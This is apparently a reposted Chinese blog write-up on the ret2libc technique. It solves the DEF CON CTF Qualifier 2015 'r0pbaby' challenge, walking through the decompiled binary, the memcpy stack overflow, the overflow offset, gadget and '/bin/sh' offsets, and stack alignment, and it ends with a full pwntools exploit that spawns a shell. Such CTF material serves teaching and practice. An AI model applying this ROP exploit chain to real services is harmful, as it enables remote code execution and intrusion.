CTF-PWN-栈溢出-初级ROP-【ret2libc】

发布时间:2024年01月03日

re2libc

ret2libc即控制程序去执行libc库中的函数,通常是返回至某个函数的 plt 处或者某个函数的具体位置 (即某个函数对应的 got 表项的内容)
有以下三种情况

  • 程序同时有了system和/bin/sh,或者说可以在提供的可执行文件找到system函数的地址和字符串/bin/sh的地址
    此时简单构造参数调用函数即可
  • 程序只有system,或者说可以在提供的可执行文件找到system函数的地址,但找不到字符串/bin/sh的地址。
    此时需要通过泄露某些可输入的地方的地址,然后先利用输入函数输入/bin/sh,再构造参数,最后调用system
  • 程序没有system也没有/bin/sh,或者说可以在提供的可执行文件找不到system函数的地址,也找不到字符串/bin/sh的地址。
    此时需要先泄露属于libc中的某个函数的地址,然后根据偏移得到libc基地址,最后计算出libc中system函数的地址和字符串/bin/sh的地址,最后调用即可

DEF CON CTF Qualifier 2015 r0pbaby

在这里插入图片描述
在这里插入图片描述

源码

IDA后反汇编

1.dlopen将指定的动态库以特定的方式装载到当前进程实体,并返回一个可操作的句柄,用以后续获取函数地址等操作;

2.dlsym从指定的(由dlopen的返回值指定)库中获得指定的函数(第二个参数为函数名);

3.dlclose可将关闭卸载动态库;注意,实际是减掉一个对动态库的引用(ref),仅当减到0时才会触发卸载动态库的操作;

4.dlerror返回一个字符串用以描述错误;

通常的三段式就是:先打开(dlopen),然后获得需要的函数(dlsym),然后调用函数,最后关闭(dlclose)

C 库函数 void (*signal(int sig, void (*func)(int)))(int) 设置一个函数来处理信号,即带有 sig 参数的信号处理程序。当发生信号处理时,会调用func对于的函数

__printf_chk(1LL, “libc.so.6: 0x%016llX\n”, handle);
%016llX 大概就是0作为填充,输出16位,形式为unsigned long long 但为十六进制形式
在这里插入图片描述

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  void *v4; // rax
  unsigned __int64 v5; // r14
  int v6; // er13
  size_t v7; // r12
  int v8; // eax
  void *handle; // [rsp+8h] [rbp-448h]
  char nptr[1088]; // [rsp+10h] [rbp-440h] BYREF
  __int64 savedregs; // [rsp+450h] [rbp+0h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  handle = dlopen("libc.so.6", 1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          sub_BF7();
          if ( !sub_B9A(nptr, 1024LL) )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v3 = strtol(nptr, 0LL, 10);
          if ( v3 != 2 )
            break;
          __printf_chk(1LL, "Enter symbol: ");
          if ( sub_B9A(nptr, 64LL) )
          {
            v4 = dlsym(handle, nptr);
            __printf_chk(1LL, "Symbol %s: 0x%016llX\n", nptr, v4);
          }
          else
          {
            puts("Bad symbol.");
          }
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_24;
        __printf_chk(1LL, "libc.so.6: 0x%016llX\n", handle);
      }
      if ( v3 != 3 )
        break;
      __printf_chk(1LL, "Enter bytes to send (max 1024): ");
      sub_B9A(nptr, 1024LL);
      v5 = (int)strtol(nptr, 0LL, 10);
      if ( v5 - 1 > 0x3FF )
      {
        puts("Invalid amount.");
      }
      else
      {
        if ( v5 )
        {
          v6 = 0;
          v7 = 0LL;
          while ( 1 )
          {
            v8 = _IO_getc(stdin);
            if ( v8 == -1 )
              break;
            nptr[v7] = v8;
            v7 = ++v6;
            if ( v5 <= v6 )
              goto LABEL_22;
          }
          v7 = v6 + 1;
        }
        else
        {
          v7 = 0LL;
        }
LABEL_22:
        memcpy(&savedregs, nptr, v7);
      }
    }
    if ( v3 == 4 )
      break;
LABEL_24:
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;
}

此时函数有三个功能
1.得到libc加载的基地址
2.得到某个libc中函数的地址
3.往栈上输入内容

C 库函数 void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 复制 n 个字节到存储区 str1。

此时注意nptr是输入的内容的起始地址,而&savedregs顾名思义并查看IDA就知道其是栈上保存着rbp的位置,v7是输入的长度,此时存在溢出,当memcpy后可能使得复制的值到到返回地址
在这里插入图片描述

思路

首先得到libc基地址

在这里插入图片描述
在这里插入图片描述
发现0x00007FFFF7FBB680存储的是libc基地址
但没啥乱用,因为接受到的只有存储libc基地址的地址

可得到system地址

在这里插入图片描述
在这里插入图片描述

溢出长度

一方面可通过IDA查看是8
另一方面也可通过pattern工具查看
创建了一个32长度的字符串将其作为输入,随后发现出现Program received signal SIGSEGV, Segmentation fault.的错误

在这里插入图片描述
此时查看pc,发现下条要执行的指令为ret,此时栈顶为0x6e41412441414241,在输入的字符串中偏移为8
在这里插入图片描述

构造payload

计算出system函数与/bin/sh和pop rdi; ret 的gadget的偏移,当得到system地址后即可构造payload
find找字符串
ropsearch找gadget
在这里插入图片描述
计算出与system的差值
在这里插入图片描述
最后先得到system的地址然后计算出有pop rdi;ret的gadget 的地址和/bin/sh的地址,然后构造ROP链
此时会出现报错SIGSEGV
此时movaps要求rsp为十六字节对齐,所以往栈再加一个8个字节的ret的地址即可
在这里插入图片描述

exp

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
r=process("./r0pbaby")
#gdb.attach(r,"b*main")
def get_sys_addr():
    r.recvuntil(b"4) Exit")
    r.recvuntil(b": ")
    r.sendline(b"2")
    r.sendlineafter(b"Enter symbol: ",b"system")
    r.recvuntil(b"Symbol system: ")
    system_addr=r.recvuntil(b"\n")[:-1]
    return system_addr

def send_payload(payload):
    r.recvuntil(b"4) Exit")
    r.recvuntil(b": ")
    r.sendline(b"3")
    r.sendlineafter(b"Enter bytes to send (max 1024): ",str(len(payload)))

    r.sendline(payload)
    

system_addr=int(get_sys_addr(),16)
ret_addr=system_addr-162871
print("system_addr",hex(system_addr))
binsh_addr=system_addr+1603848
pop_rdi_addr=system_addr-158091
payload=b"a"*8+p64(pop_rdi_addr)+p64(binsh_addr)+p64(ret_addr)+p64(system_addr)
print(len(payload))
send_payload(payload)
r.interactive()
文章来源:https://blog.csdn.net/llovewuzhengzi/article/details/135327432
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。